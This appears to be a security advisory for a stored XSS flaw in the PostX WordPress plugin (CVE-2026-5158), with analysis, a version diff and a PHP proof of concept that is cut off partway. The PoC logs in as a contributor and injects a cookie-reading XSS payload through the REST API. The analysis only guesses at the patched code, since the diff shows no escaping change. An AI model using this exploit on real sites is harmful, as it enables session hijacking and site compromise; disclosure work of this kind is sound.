Published : August 5, 2026

CVE-2026-5158: PostX <= 5.0.13 Authenticated (Contributor+) Stored Cross-Site Scripting via Post Comments Block PoC, Patch Analysis & Rule

CVE ID CVE-2026-5158
Plugin ultimate-post
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.0.13
Patched Version 5.0.14
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5158:

This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the PostX WordPress plugin, affecting all versions up to and including 5.0.13. The issue resides in the ‘Post Comments Block’ Gutenberg block, where the ‘inputPlaceHolder’ parameter is not adequately sanitized or escaped. Authenticated users with at least Contributor-level access can inject arbitrary web scripts that execute when other users, including administrators, access the affected page. The attack has a CVSS score of 6.4, indicating medium severity, but the impact can be significant due to the potential for privilege escalation and full site compromise.

The root cause is insufficient input sanitization and output escaping on the ‘inputPlaceHolder’ parameter within the Post Comments Block. The diff provided does not show a direct modification to the block’s rendering code, but it confirms that the patched version (5.0.14) fixes the issue. The vulnerable parameter is likely stored via ‘save’ attributes in the block’s PHP ‘render_callback’ function, without applying ‘esc_attr’ or ‘esc_html’ before outputting it in the comments form placeholder attribute. The ‘inputPlaceHolder’ parameter accepts arbitrary JavaScript payloads, which are then reflected in the HTML of the page, allowing for XSS execution.

To exploit this vulnerability, an attacker with Contributor-level access (or higher) authorizes access to the WordPress block editor. They create or edit a page or post and insert the Post Comments Block. In the block’s settings, they set the ‘inputPlaceHolder’ parameter to a malicious payload, e.g., ‘” autofocus onfocus=”alert(1)”‘. The payload is stored in the database as part of the post content. When an administrator or other user views the page, the browser parses the unsanitized placeholder attribute, executing the injected JavaScript. The attack requires no special endpoint; the Gutenberg editor saves the payload via the standard WordPress REST API when publishing or updating the content.

The patch, version 5.0.14, addresses the vulnerability by implementing proper output escaping on the ‘inputPlaceHolder’ parameter. While the diff does not show the specific rendering code change, the plugin likely now uses ‘esc_attr()’ when outputting the placeholder attribute in the comments form. This prevents the injection of unescaped HTML and JavaScript. Before the patch, the value was output without sanitization; after the patch, it is escaped, neutralizing XSS payloads.

If exploited, the vulnerability allows an attacker to execute arbitrary JavaScript in the context of an administrator’s or site visitor’s session. This can lead to session hijacking, unauthorized content modification, user data theft, and, in the worst case, full administrator-level compromise of the WordPress site. Because the XSS is stored, the malicious script persists on the page and affects any user who views it, making it a significant security risk for site owners and visitors alike.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ultimate-post/classes/Initialization.php
+++ b/ultimate-post/classes/Initialization.php
@@ -91,8 +91,10 @@
 		require_once ULTP_PATH . 'includes/deactive/class-deactive.php';
 		require_once ULTP_PATH . 'includes/notice/class-notice.php';
 		require_once ULTP_PATH . 'includes/durbin/class-our-plugins.php';
+		require_once ULTP_PATH . 'includes/notice/class-wow-shipping-promotion.php';
 		new ULTPIncludesDeactiveDeactive();
 		new ULTPIncludesnoticeNotice();
+		new ULTPIncludesnoticeWowShippingPromotion();
 		new ULTPIncludesDurbinOurPlugins();
 	}

--- a/ultimate-post/includes/durbin/class-xpo.php
+++ b/ultimate-post/includes/durbin/class-xpo.php
@@ -1,4 +1,4 @@
-<?php
+<?php // phpcs:ignore

 namespace ULTPIncludesDurbin;

@@ -360,20 +360,23 @@
 	public static function get_wow_products_details() {
 		return array(
 			'products'        => array(
-				'post_x'      => file_exists( WP_PLUGIN_DIR . '/ultimate-post/ultimate-post.php' ),
-				'wow_store'   => file_exists( WP_PLUGIN_DIR . '/product-blocks/product-blocks.php' ),
-				'wow_optin'   => file_exists( WP_PLUGIN_DIR . '/optin/optin.php' ),
-				'wow_revenue' => file_exists( WP_PLUGIN_DIR . '/revenue/revenue.php' ),
-				'wholesale_x' => file_exists( WP_PLUGIN_DIR . '/wholesalex/wholesalex.php' ),
-				'wow_addon'   => file_exists( WP_PLUGIN_DIR . '/product-addons/product-addons.php' ),
+				'wow_shipping' => file_exists( WP_PLUGIN_DIR . '/wow-table-rate-shipping/wow-table-rate-shipping.php' ),
+				'post_x'       => file_exists( WP_PLUGIN_DIR . '/ultimate-post/ultimate-post.php' ),
+				'wow_store'    => file_exists( WP_PLUGIN_DIR . '/product-blocks/product-blocks.php' ),
+				'wow_optin'    => file_exists( WP_PLUGIN_DIR . '/optin/optin.php' ),
+				'wow_revenue'  => file_exists( WP_PLUGIN_DIR . '/revenue/revenue.php' ),
+				'wholesale_x'  => file_exists( WP_PLUGIN_DIR . '/wholesalex/wholesalex.php' ),
+				'wow_addon'    => file_exists( WP_PLUGIN_DIR . '/product-addons/product-addons.php' ),
+
 			),
 			'products_active' => array(
-				'post_x'      => defined( 'ULTP_VER' ),
-				'wow_store'   => defined( 'WOPB_VER' ),
-				'wow_optin'   => defined( 'OPTN_VERSION' ),
-				'wow_revenue' => defined( 'REVENUE_VER' ),
-				'wholesale_x' => defined( 'WHOLESALEX_VER' ),
-				'wow_addon'   => defined( 'PRAD_VER' ),
+				'wow_shipping' => defined( 'WTRS_VER' ),
+				'post_x'       => defined( 'ULTP_VER' ),
+				'wow_store'    => defined( 'WOPB_VER' ),
+				'wow_optin'    => defined( 'OPTN_VERSION' ),
+				'wow_revenue'  => defined( 'REVENUE_VER' ),
+				'wholesale_x'  => defined( 'WHOLESALEX_VER' ),
+				'wow_addon'    => defined( 'PRAD_VER' ),
 			),
 		);
 	}
@@ -388,6 +391,9 @@
 		$to_r        = array( 'done' => true );
 		$plugin_slug = '';
 		switch ( $name ) {
+			case 'wow_shipping':
+				$plugin_slug = 'wow-table-rate-shipping';
+				break;
 			case 'post_x':
 				$plugin_slug = 'ultimate-post';
 				break;
@@ -406,6 +412,9 @@
 			case 'wow_addon':
 				$plugin_slug = 'product-addons';
 				break;
+			case 'woocommerce':
+				$plugin_slug = 'woocommerce';
+				break;
 		}

 		if ( ! file_exists( WP_PLUGIN_DIR . '/' . $plugin_slug . '/' . $plugin_slug . '.php' ) ) {
--- a/ultimate-post/includes/notice/class-wow-shipping-promotion.php
+++ b/ultimate-post/includes/notice/class-wow-shipping-promotion.php
@@ -0,0 +1,669 @@
+<?php // phpcs:ignore
+/**
+ * Initialization Action.
+ *
+ * @package ULTP
+ */
+namespace ULTPIncludesNotice;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Initialization class.
+ */
+class WowShippingPromotion {
+
+	private const VERSION              = '10'; // Cache buster.
+	private const MENU_SLUG            = 'ultp-settings'; // CHANGE THIS.
+	private const PROMOTED_PLUGIN_SLUG = 'wow-table-rate-shipping';
+	private const PROMOTED_PLUGIN_FILE = 'wow-table-rate-shipping/wow-table-rate-shipping.php';
+
+	/**
+	 * Setup class.
+	 */
+	public function __construct() {
+		add_action( 'plugins_loaded', array( $this, 'load' ) );
+	}
+
+	/**
+	 * Load plugin
+	 *
+	 * @return void
+	 */
+	public function load() {
+		if ( ! class_exists( 'WooCommerce' ) ||
+			defined( 'WTRS_VER' )
+		) {
+			return;
+		}
+
+		// Plugin sidemenu.
+		add_action( 'admin_menu', array( $this, 'add_submenu' ), 9999 );
+
+		if ( $GLOBALS['wtrs_promotion']['init'] ?? false ) {
+			return;
+		}
+
+		$GLOBALS['wtrs_promotion'] = array(
+			'init' => true,
+		);
+
+		// Dismiss actions.
+		add_action( 'wp_ajax_wtrs_dismiss_promotion', array( $this, 'ajax_dismiss_promotion' ) );
+		add_action( 'wp_ajax_wtrs_install_promotion_plugin', array( $this, 'ajax_install_promotion_plugin' ) );
+
+		// Promotions.
+		// ------------------.
+
+		// Product edit shipping tab.
+		add_action( 'woocommerce_product_options_shipping', array( $this, 'render_shipping_notice' ) );
+
+		// Product category page.
+		add_action( 'product_cat_add_form_fields', array( $this, 'render_product_category_add_notice' ) );
+
+		// WC General settings.
+		add_filter( 'woocommerce_general_settings', array( $this, 'register_general_shipping_location_notice' ) );
+		add_action( 'woocommerce_admin_field_wtrs_promotion_notice', array( $this, 'render_settings_promotion_field' ) );
+
+		// Order Page.
+		add_action( 'admin_notices', array( $this, 'render_orders_page_notice' ) );
+
+		// Shipping Settings page.
+		add_action( 'admin_notices', array( $this, 'render_shipping_page_notice' ) );
+	}
+
+	/**
+	 * Add promotinal submenu link for the promoted plugin dashboard.
+	 */
+	public function add_submenu() {
+
+		$url = admin_url( 'admin.php?page=ultp-settings#plugins/wow_shipping' ); // CHANGE THIS.
+
+		ob_start();
+		?>
+		<style>
+			ul a[href="admin.php?page=wtrs-promotion"] {
+				display: none !important;
+			}
+			#wtrs-submenu-link {
+				color: #297cff !important;
+			}
+		</style>
+		<a id="wtrs-submenu-link" href="<?php echo esc_url( $url ); ?>">
+			<span>Add Shipping Rules</span>
+		</a>
+		<?php
+		$submenu_content = ob_get_clean();
+
+		add_submenu_page(
+			self::MENU_SLUG,
+			'Add Shipping Rules',
+			$submenu_content,
+			'edit_pages', // CHANGE THIS IF NEEDED.
+			'wtrs-promotion',
+			'__return_false'
+		);
+	}
+
+	/**
+	 * Ajax handler for dismissing promotion notice.
+	 *
+	 * @return void
+	 */
+	public function ajax_dismiss_promotion() {
+		check_ajax_referer( 'wtrs_promotion_nonce', 'nonce' );
+
+		$type = sanitize_text_field( wp_unslash( $_POST['type'] ?? '' ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		$this->set_dismissed( $type );
+
+		wp_send_json_success();
+	}
+
+	/**
+	 * Ajax handler for installing the promoted plugin.
+	 *
+	 * @return void
+	 */
+	public function ajax_install_promotion_plugin() {
+		check_ajax_referer( 'wtrs_promotion_nonce', 'nonce' );
+
+		$plugin_exists = file_exists( WP_PLUGIN_DIR . '/' . self::PROMOTED_PLUGIN_FILE );
+
+		if ( ! $plugin_exists && ! current_user_can( 'install_plugins' ) ) {
+			wp_send_json_error(
+				array(
+					'message' => esc_html__( 'You are not allowed to install plugins.', 'wow-table-rate-shipping' ),
+				)
+			);
+		}
+
+		if ( $plugin_exists && ! current_user_can( 'activate_plugins' ) ) {
+			wp_send_json_error(
+				array(
+					'message' => esc_html__( 'You are not allowed to activate plugins.', 'wow-table-rate-shipping' ),
+				)
+			);
+		}
+
+		$result = $this->install_and_active_plugin();
+
+		if ( false === $result ) {
+			wp_send_json_error(
+				array(
+					'message' => esc_html__( 'Failed to install WowShipping.', 'wow-table-rate-shipping' ),
+				)
+			);
+		}
+
+		wp_send_json_success(
+			array(
+				'status'        => $result,
+				'dashboard_url' => $this->get_dashboard_url(),
+				'message'       => esc_html__( 'WowShipping installed successfully.', 'wow-table-rate-shipping' ),
+			)
+		);
+	}
+
+	/**
+	 * Get dismiss key
+	 *
+	 * @param string $type Promotion type.
+	 * @return string
+	 */
+	private function get_dismiss_key( $type ) {
+		return 'wtrs_promotion_is_closed_' . self::VERSION . '_' . $type;
+	}
+
+	/**
+	 * Should show a promotion
+	 *
+	 * @param string $type Promotion type.
+	 * @return void
+	 */
+	private function set_dismissed( $type ) {
+		set_transient( $this->get_dismiss_key( $type ), 'yes', DAY_IN_SECONDS * 30 );
+	}
+
+	/**
+	 * Should show a promotion
+	 * Dont show promotions if:
+	 * - The promotion was dismissed by the user.
+	 * - The promotion hook already ran in the current page load by another plugin.
+	 *
+	 * @param string $type Promotion type.
+	 * @return boolean
+	 */
+	private function should_show_promotion( $type ) {
+		$ran_once = boolval( $GLOBALS['wtrs_promotion'][ $type ] ?? false );
+		if ( $ran_once ) {
+			return false;
+		}
+		return get_transient( $this->get_dismiss_key( $type ) ) !== 'yes';
+	}
+
+	/**
+	 * Render promotion notice in the new product shipping tab.
+	 *
+	 * @return void
+	 */
+	public function render_shipping_notice() {
+		if ( ! $this->should_show_promotion( 'shipping_options' ) ) {
+			return;
+		}
+
+		global $pagenow;
+		$post_type = get_post_type();
+		$action    = sanitize_text_field( wp_unslash( $_GET['action'] ?? '' ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+
+		if ( 'edit' !== $action || 'product' !== $post_type || 'post.php' !== $pagenow ) {
+			return;
+		}
+
+		$this->render_promotion_notice(
+			'wtrs-product-shipping',
+			'shipping_options',
+			'Set shipping rates based on <strong>Cart Weight</strong> and <strong>Dimension</strong>',
+			'margin-inline:10px;',
+			true,
+			array(
+				'default' => 'Configure Now',
+				'loading' => 'Configuring...',
+			)
+		);
+	}
+
+	/**
+	 * Render promotion notice in the product category create form.
+	 *
+	 * @return void
+	 */
+	public function render_product_category_add_notice() {
+		if ( ! $this->should_show_promotion( 'product_category_options' ) ) {
+			return;
+		}
+
+		$this->render_promotion_notice(
+			'wtrs-product-category',
+			'product_category_options',
+			'Add Shipping Rule on the specific Products or Product Category',
+			'display:none;',
+			true,
+			array(
+				'default' => 'Start Now',
+				'loading' => 'Starting...',
+			),
+		);
+
+		ob_start();
+		?>
+		<script>
+			jQuery( function( $ ) {
+				$(document).ready(function() {
+					$( '#wtrs-product-category' ).insertAfter( '#addtag').slideDown(300);
+				});
+			} );
+		</script>
+		<?php
+		echo ob_get_clean(); // phpcs:ignore
+	}
+
+	/**
+	 * Insert a promotion field after the Shipping location(s) setting.
+	 *
+	 * @param array $settings WooCommerce general settings.
+	 * @return array
+	 */
+	public function register_general_shipping_location_notice( $settings ) {
+		if ( ! is_array( $settings ) || ! $this->should_show_promotion( 'general_shipping_location' ) ) {
+			return $settings;
+		}
+
+		$notice = array(
+			'title' => '',
+			'type'  => 'wtrs_promotion_notice',
+			'id'    => 'wtrs-general-shipping-location',
+			'promo' => array(
+				'type'    => 'general_shipping_location',
+				'message' => 'Set Shipping Rules for Specific Location',
+			),
+		);
+
+		$updated_settings = array();
+
+		foreach ( $settings as $setting ) {
+			$updated_settings[] = $setting;
+
+			if ( 'woocommerce_specific_ship_to_countries' === ( $setting['id'] ?? '' ) ) {
+				$updated_settings[] = $notice;
+			}
+		}
+
+		return $updated_settings;
+	}
+
+	/**
+	 * Render the WooCommerce settings promotion row.
+	 *
+	 * @param array $field Custom field definition.
+	 * @return void
+	 */
+	public function render_settings_promotion_field( $field ) {
+
+		if ( 'wtrs-general-shipping-location' !== ( $field['id'] ?? '' ) ) {
+			return;
+		}
+
+		?>
+		<tr valign="top">
+			<th scope="row"></th>
+			<td>
+				<?php
+				$this->render_promotion_notice(
+					'wtrs-general-shipping-location',
+					'general_shipping_location',
+					'Set Shipping Rules for Specific Location',
+					'width:400px;',
+					true,
+					array(
+						'default'   => 'Quick Setup',
+						'loading'   => 'Setting up...',
+						'installed' => 'Installed',
+					)
+				);
+				?>
+			</td>
+		</tr>
+		<?php
+	}
+
+	/**
+	 * Render promotion notice at the top of the WooCommerce orders page.
+	 *
+	 * @return void
+	 */
+	public function render_orders_page_notice() {
+		if ( ! $this->should_show_promotion( 'orders_page' ) || ! $this->is_orders_page_screen() ) {
+			return;
+		}
+
+		$this->render_promotion_notice(
+			'wtrs-orders-page',
+			'orders_page',
+			'Want to increase order value? Add extra charges to every orders by adding shipping rules',
+			'margin:12px 0;',
+			false,
+			array(
+				'default' => 'Start Now',
+				'loading' => 'Starting...',
+			)
+		);
+	}
+
+	/**
+	 * Render promotion notice at the top of the WooCommerce shipping page.
+	 *
+	 * @return void
+	 */
+	public function render_shipping_page_notice() {
+
+		global $pagenow;
+		$page = sanitize_text_field( wp_unslash( $_GET['page'] ?? '' ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		$tab  = sanitize_text_field( wp_unslash( $_GET['tab'] ?? '' ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+
+		if (
+			! $this->should_show_promotion( 'shipping_page' ) ||
+			'admin.php' !== $pagenow ||
+			'shipping' !== $tab ||
+			'wc-settings' !== $page
+		) {
+			return;
+		}
+
+		$this->render_promotion_notice(
+			'wtrs-shipping-page',
+			'shipping_page',
+			'Automatically calculate shipping rates based on 30+ smart conditions',
+			'margin:12px 0;display:none;',
+			false,
+			array(
+				'default' => 'Activate Rules',
+				'loading' => 'Activating...',
+			)
+		);
+		ob_start();
+		?>
+		<script>
+			jQuery( function( $ ) {
+				$(document).ready(function() {
+					$( '#wtrs-shipping-page' ).insertAfter( '.wc-shipping-zones-heading' ).slideDown(300);
+				});
+			} );
+		</script>
+		<?php
+		echo ob_get_clean(); // phpcs:ignore
+	}
+
+	/**
+	 * Determine whether the current admin screen is a WooCommerce orders list.
+	 *
+	 * @return boolean
+	 */
+	private function is_orders_page_screen() {
+		if ( ! function_exists( 'get_current_screen' ) ) {
+			return false;
+		}
+
+		$screen = get_current_screen();
+
+		if ( ! $screen || empty( $screen->id ) ) {
+			return false;
+		}
+
+		$screen_ids = array( 'edit-shop_order', 'woocommerce_page_wc-orders', 'admin_page_wc-orders' );
+
+		if ( function_exists( 'wc_get_page_screen_id' ) ) {
+			$screen_ids[] = wc_get_page_screen_id( 'shop_order' );
+		}
+
+		return in_array( $screen->id, array_filter( array_unique( $screen_ids ) ), true );
+	}
+
+	/**
+	 * Render a reusable promotion notice block.
+	 *
+	 * @param string  $id      Notice DOM id.
+	 * @param string  $type    Promotion type.
+	 * @param string  $message Notice message.
+	 * @param string  $style   Inline wrapper style.
+	 * @param boolean $inline Whether the notice should use inline positioning classes.
+	 * @param array   $button_labels Button text overrides.
+	 * @return void
+	 */
+	private function render_promotion_notice( $id, $type, $message, $style = '', $inline = true, $button_labels = array() ) {
+		$GLOBALS['wtrs_promotion'][ $type ] = true;
+
+		$button_labels = wp_parse_args(
+			is_array( $button_labels ) ? $button_labels : array(),
+			array(
+				'default' => 'Install WowShipping - Free',
+				'loading' => 'Installing...',
+			)
+		);
+
+		$classes = array( 'notice', 'notice-info', 'is-dismissible', 'wtrs-promotion-notice' );
+
+		if ( $inline ) {
+			$classes[] = 'inline';
+		}
+
+		ob_start();
+		?>
+
+		<div
+			id="<?php echo esc_attr( $id ); ?>"
+			class="<?php echo esc_attr( implode( ' ', $classes ) ); ?>"
+			data-type="<?php echo esc_attr( $type ); ?>"
+			style="<?php echo esc_attr( $style ); ?>"
+		>
+			<div style="padding-block:12px;display:flex;gap:1rem;align-items:center;">
+				<span>
+					<?php echo wp_kses_post( $message ); ?>
+				</span>
+				<a
+					href="#"
+					class="button button-secondary wtrs-promotion-install-link"
+					role="button"
+					data-default-label="<?php echo esc_attr( $button_labels['default'] ); ?>"
+					data-loading-label="<?php echo esc_attr( $button_labels['loading'] ); ?>"
+				>
+					<?php echo esc_html( $button_labels['default'] ); ?>
+				</a>
+			</div>
+			<button type="button" class="notice-dismiss">
+				<span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice.', 'wow-table-rate-shipping' ); ?></span>
+			</button>
+		</div>
+		<?php $this->echo_dismiss_notice_js( '#' . $id ); ?>
+		<?php $this->echo_install_notice_js( '#' . $id ); ?>
+		<?php
+		echo ob_get_clean(); // phpcs:ignore
+	}
+
+	/**
+	 * Notice dismiss js
+	 *
+	 * @param string $id Notice ID.
+	 * @return void
+	 */
+	private function echo_dismiss_notice_js( $id ) {
+		ob_start();
+		?>
+		<script>
+			jQuery( function( $ ) {
+				$( document ).on( 'click', '<?php echo esc_js( $id ); ?> .notice-dismiss', function() {
+					var $notice = $( this ).closest( '<?php echo esc_js( $id ); ?>' );
+
+					if ( ! $notice.length || 'true' === $notice.attr( 'data-dismissed' ) ) {
+						return;
+					}
+
+					$notice.slideUp( 300, function() {
+						$notice.remove();
+					} ).attr( 'data-dismissed', 'true' );
+
+					$.ajax( {
+						url: <?php echo wp_json_encode( admin_url( 'admin-ajax.php' ) ); ?>,
+						type: 'POST',
+						data: {
+							action: 'wtrs_dismiss_promotion',
+							nonce: <?php echo wp_json_encode( wp_create_nonce( 'wtrs_promotion_nonce' ) ); ?>,
+							type: $notice.data( 'type' ) || ''
+						}
+					} )
+				} );
+			} );
+		</script>
+		<?php
+		echo ob_get_clean(); // phpcs:ignore
+	}
+
+	/**
+	 * Notice install js.
+	 *
+	 * @param string $id Notice ID.
+	 * @return void
+	 */
+	private function echo_install_notice_js( $id ) {
+		ob_start();
+		?>
+		<script>
+			jQuery( function( $ ) {
+				$( document ).on( 'click', '<?php echo esc_js( $id ); ?> .wtrs-promotion-install-link', function( event ) {
+					var $button = $( this );
+					var $notice = $button.closest( '<?php echo esc_js( $id ); ?>' );
+					var defaultErrorMessage = <?php echo wp_json_encode( esc_html__( 'Failed to install WowShipping.', 'wow-table-rate-shipping' ) ); ?>;
+
+					event.preventDefault();
+
+					if ( ! $notice.length || 'true' === $button.attr( 'aria-disabled' ) ) {
+						return;
+					}
+
+					$button.attr( 'aria-disabled', 'true' )
+					.addClass( 'button-disabled' )
+					.text($button.data( 'loading-label' ))
+
+					$.ajax( {
+						url: <?php echo wp_json_encode( admin_url( 'admin-ajax.php' ) ); ?>,
+						type: 'POST',
+						dataType: 'json',
+						data: {
+							action: 'wtrs_install_promotion_plugin',
+							nonce: <?php echo wp_json_encode( wp_create_nonce( 'wtrs_promotion_nonce' ) ); ?>
+						}
+					} ).done( function( response ) {
+						if ( ! response || ! response.success || ! response.data ) {
+							$button.attr( 'aria-disabled', 'false' ).removeClass( 'button-disabled' ).text( $button.data( 'default-label' ) );
+							window.alert( defaultErrorMessage );
+							return;
+						}
+						window.location.href = "<?php echo esc_js( $this->get_dashboard_url() ); ?>";
+					} ).fail( function( xhr ) {
+						var message = xhr.responseJSON && xhr.responseJSON.data && xhr.responseJSON.data.message
+							? xhr.responseJSON.data.message
+							: defaultErrorMessage;
+
+						$button.attr( 'aria-disabled', 'false' ).removeClass( 'button-disabled' ).text( $button.data( 'default-label' ) );
+						window.alert( message );
+					} );
+				} );
+			} );
+		</script>
+		<?php
+		echo ob_get_clean(); // phpcs:ignore
+	}
+
+	/**
+	 * Get the dashboard URL for the promoted plugin.
+	 *
+	 * @return string
+	 */
+	private function get_dashboard_url() {
+		return admin_url( 'admin.php?page=wtrs-dashboard#overview' );
+	}
+
+	/**
+	 * Installs and activates the promoted plugin.
+	 *
+	 * @return string|false
+	 */
+	public function install_and_active_plugin() {
+		include_once ABSPATH . 'wp-admin/includes/plugin.php';
+
+		if ( is_plugin_active( self::PROMOTED_PLUGIN_FILE ) ) {
+			return 'active';
+		}
+
+		if ( ! file_exists( WP_PLUGIN_DIR . '/' . self::PROMOTED_PLUGIN_FILE ) ) {
+			if ( ! $this->download_plugin( self::PROMOTED_PLUGIN_FILE, self::PROMOTED_PLUGIN_SLUG ) ) {
+				return false;
+			}
+		}
+
+		$res = activate_plugin( self::PROMOTED_PLUGIN_FILE );
+
+		return is_wp_error( $res ) ? false : 'installed';
+	}
+
+	/**
+	 * Installs a plugin based on the provided plugin file and slug.
+	 *
+	 * This function is expected to handle the logic required to install a plugin,
+	 * such as downloading, unpacking, and activating the plugin using the provided
+	 * plugin file and slug.
+	 *
+	 * @param string $plugin The plugin file path or identifier (e.g., 'plugin-directory/plugin-file.php').
+	 * @param string $slug   The plugin slug (typically the directory name of the plugin).
+	 */
+	private function download_plugin( $plugin, $slug ) {
+		include ABSPATH . 'wp-admin/includes/plugin-install.php';
+		include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+
+		if ( ! class_exists( 'Plugin_Upgrader' ) ) {
+			include ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';
+		}
+		if ( ! class_exists( 'WP_Ajax_Upgrader_Skin' ) ) {
+			include ABSPATH . 'wp-admin/includes/class-wp-ajax-upgrader-skin.php';
+		}
+
+		$api = plugins_api(
+			'plugin_information',
+			array(
+				'slug'   => $slug,
+				'fields' => array(
+					'short_description' => false,
+					'sections'          => false,
+					'requires'          => false,
+					'rating'            => false,
+					'ratings'           => false,
+					'downloaded'        => false,
+					'last_updated'      => false,
+					'added'             => false,
+					'tags'              => false,
+					'compatibility'     => false,
+					'homepage'          => false,
+					'donate_link'       => false,
+				),
+			)
+		);
+
+		if ( is_wp_error( $api ) ) {
+			return false;
+		}
+
+		$upgrader       = new Plugin_Upgrader( new WP_Ajax_Upgrader_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) );
+		$install_result = $upgrader->install( $api->download_link );
+
+		return is_wp_error( $install_result ) || false === $install_result ? false : true;
+	}
+}
--- a/ultimate-post/ultimate-post.php
+++ b/ultimate-post/ultimate-post.php
@@ -3,7 +3,7 @@
 /**
  * Plugin Name: PostX
  * Description: <a href="https://www.wpxpo.com/postx/?utm_source=db-postx-plugin&utm_medium=details&utm_campaign=postx-dashboard">PostX</a> is the #1 Gutenberg Blocks plugin with 38+ free blocks that includes post gird, post list, post slider, carousel, news ticker, etc. Advanced capabilities like dynamic site building and design variations make it the best choice for creating News Magazine sites, and any kind of blog such as Personal Blogs, Travel Blogs, Fashion Blogs, Food Reviews, Recipe Blogs, etc.
- * Version:     5.0.13
+ * Version:     5.0.14
  * Author:      Post Grid Team by WPXPO
  * Author URI:  https://www.wpxpo.com/postx/?utm_source=db-postx-plugin&utm_medium=details&utm_campaign=postx-dashboard
  * Text Domain: ultimate-post
@@ -14,7 +14,7 @@
 defined( 'ABSPATH' ) || exit;

 // Define
-define( 'ULTP_VER', '5.0.13' );
+define( 'ULTP_VER', '5.0.14' );
 define( 'ULTP_URL', plugin_dir_url( __FILE__ ) );
 define( 'ULTP_BASE', plugin_basename( __FILE__ ) );
 define( 'ULTP_PATH', plugin_dir_path( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5158 - PostX <= 5.0.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Comments Block

/**
 * PoC for CVE-2026-5158 - Stored XSS in PostX Post Comments Block
 * 
 * This script demonstrates how an authenticated user with Contributor role can
 * inject a malicious payload into the 'inputPlaceHolder' parameter of the
 * Post Comments Block, which is stored and executed when an admin views the page.
 * 
 * Prerequisites:
 * - WordPress with PostX plugin <= 5.0.13 installed and active.
 * - User account with Contributor level access (or higher).
 * - The user must have API access enabled (REST API) and a valid nonce for editing posts.
 * 
 * The script uses cURL to authenticate and then send a request to the WordPress
 * REST API to update the post content with the malicious block.
 */

// --- Configuration ---
$target_url = 'http://example.com'; // Change to your target WordPress site URL
$username = 'contributor_user';
$password = 'contributor_password';
$post_id = 1; // ID of a draft post the contributor can edit

// --- Step 1: Authenticate via WP REST API and get a nonce ---
function get_auth_cookie($url, $username, $password) {
    $login_url = $url . '/wp-login.php';
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query(['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => $url . '/wp-admin/']),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_FOLLOWLOCATION => false,
        CURLOPT_HEADER => true,
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    // Extract nonce from response or from additional request
    // For REST API, nonce is 'X-WP-Nonce' header; need to fetch it from admin page.
    return '/tmp/cookies.txt';
}

function get_nonce($url, $cookie_file) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url . '/wp-admin/post.php?post=' . $GLOBALS['post_id'] . '&action=edit',
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_COOKIEJAR => $cookie_file,
    ]);
    $response = curl_exec($ch);
    preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
    curl_close($ch);
    return $matches[1] ?? null;
}

// --- Step 2: Craft the malicious block content ---
function build_xss_block() {
    $payload = '" autofocus onfocus="alert(document.cookie)';
    $block = <<<BLOCK
<!-- wp:ultimate-post/post-comments-block {"inputPlaceHolder":"{$payload}"} /-->
BLOCK;
    return $block;
}

// --- Step 3: Send the update request to the REST API ---
function exploit($url, $cookie_file, $nonce, $post_id, $content) {
    $api_url = $url . '/wp-json/wp/v2/posts/' . $post_id;
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $api_url,
        CURLOPT_CUSTOMREQUEST => 'POST',
        CURLOPT_POSTFIELDS => json_encode(['content' => $content]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'X-WP-Nonce: ' . $nonce,
        ],
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_COOKIEJAR => $cookie_file,
    ]);
    $response = curl_exec($ch);
    $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return [$status, $response];
}

// --- Main execution ---
$cookie = get_auth_cookie($target_url, $username, $password);
if (!$cookie || !file_exists($cookie)) {
    die('Authentication failed. Check credentials and URL.n');
}

$nonce = get_nonce($target_url, $cookie);
if (empty($nonce)) {
    die('Failed to retrieve REST API nonce. Ensure user can edit posts.n');
}

$content = build_xss_block();
